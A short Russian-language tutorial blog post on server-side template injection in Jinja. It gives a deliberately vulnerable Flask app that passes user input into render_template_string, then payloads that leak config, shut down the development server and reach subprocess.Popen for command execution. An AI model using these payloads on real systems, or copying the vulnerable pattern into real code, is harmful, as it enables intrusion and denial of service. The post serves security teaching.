Server Side Template Injection (SSTI) в Jinja

Jinja это шаблонизатор для Python приложений, таких как Django и Flask. Шаблонизатор в модели mvc отвечает за представление (view). Он генерирует HTML на основе статических шаблонов динамически добавляя в них элементы. Иньекция позволяет атакующему выпонить вредоносный код в шаблоне.

Встроеные функции Jinja
  • {{var}} - переменная
  • {% condition %} - выражение
Пример приложение с уязвимостью

Для примера создадим Flask приложение с уязвимостью.

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def flask_ssti():
    name = "World"
    if request.args.get('name'):
        name = request.args.get('name')
    template = '''
        <!doctype html>
        <h1>Hello %s!</h1>
        <form>
            <input type="text" name="name">
        </form>
    ''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(debug=True)
Пример атаки

Попробуем подставить в уязвимый параметр выражение {{1+1}}

ssti1

К чему мы получаем доступ
  • к объекту request
  • к объекту config
  • к переменным jinja
Остановка сервера

В случае если мы используем сервер разработки следующий payload приведет к остановке сервера

{{ request.environ['werkzeug.server.shutdown']() }} 
Remote Code Execution
{{ ''.__class__.__mro__}} # find <class 'object'>
{{ ''.__class__.__mro__[1].__subclasses__()}} # find <class 'subprocess.Popen'>
{{ ''.__class__.__mro__[1].__subclasses__()[282]('touch /tmp/rce',shell=True) }}

ssti2

Written on February 9, 2019